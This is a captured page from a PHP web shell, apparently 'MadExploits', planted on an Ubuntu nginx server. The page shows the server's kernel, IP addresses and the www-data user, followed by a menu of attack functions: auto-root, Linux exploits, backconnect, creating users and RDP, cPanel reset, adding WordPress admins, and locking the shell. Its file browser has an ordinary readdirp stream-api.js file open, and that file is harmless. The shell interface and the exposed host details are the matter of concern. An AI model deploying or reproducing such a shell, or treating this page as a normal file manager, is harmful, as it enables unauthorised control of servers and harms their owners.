Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
readdirp /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
1.09
KB
-rw-r--r--
README.md
7.74
KB
-rw-r--r--
package.json
2.15
KB
-rw-r--r--
readdirp.js
8.26
KB
-rw-r--r--
stream-api.js
2.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stream-api.js
'use strict'; var stream = require('readable-stream'); var util = require('util'); var Readable = stream.Readable; module.exports = ReaddirpReadable; util.inherits(ReaddirpReadable, Readable); function ReaddirpReadable (opts) { if (!(this instanceof ReaddirpReadable)) return new ReaddirpReadable(opts); opts = opts || {}; opts.objectMode = true; Readable.call(this, opts); // backpressure not implemented at this point this.highWaterMark = Infinity; this._destroyed = false; this._paused = false; this._warnings = []; this._errors = []; this._pauseResumeErrors(); } var proto = ReaddirpReadable.prototype; proto._pauseResumeErrors = function () { var self = this; self.on('pause', function () { self._paused = true }); self.on('resume', function () { if (self._destroyed) return; self._paused = false; self._warnings.forEach(function (err) { self.emit('warn', err) }); self._warnings.length = 0; self._errors.forEach(function (err) { self.emit('error', err) }); self._errors.length = 0; }) } // called for each entry proto._processEntry = function (entry) { if (this._destroyed) return; this.push(entry); } proto._read = function () { } proto.destroy = function () { // when stream is destroyed it will emit nothing further, not even errors or warnings this.push(null); this.readable = false; this._destroyed = true; this.emit('close'); } proto._done = function () { this.push(null); } // we emit errors and warnings async since we may handle errors like invalid args // within the initial event loop before any event listeners subscribed proto._handleError = function (err) { var self = this; setImmediate(function () { if (self._paused) return self._warnings.push(err); if (!self._destroyed) self.emit('warn', err); }); } proto._handleFatalError = function (err) { var self = this; setImmediate(function () { if (self._paused) return self._errors.push(err); if (!self._destroyed) self.emit('error', err); }); } function createStreamAPI () { var stream = new ReaddirpReadable(); return { stream : stream , processEntry : stream._processEntry.bind(stream) , done : stream._done.bind(stream) , handleError : stream._handleError.bind(stream) , handleFatalError : stream._handleFatalError.bind(stream) }; } module.exports = createStreamAPI;
Close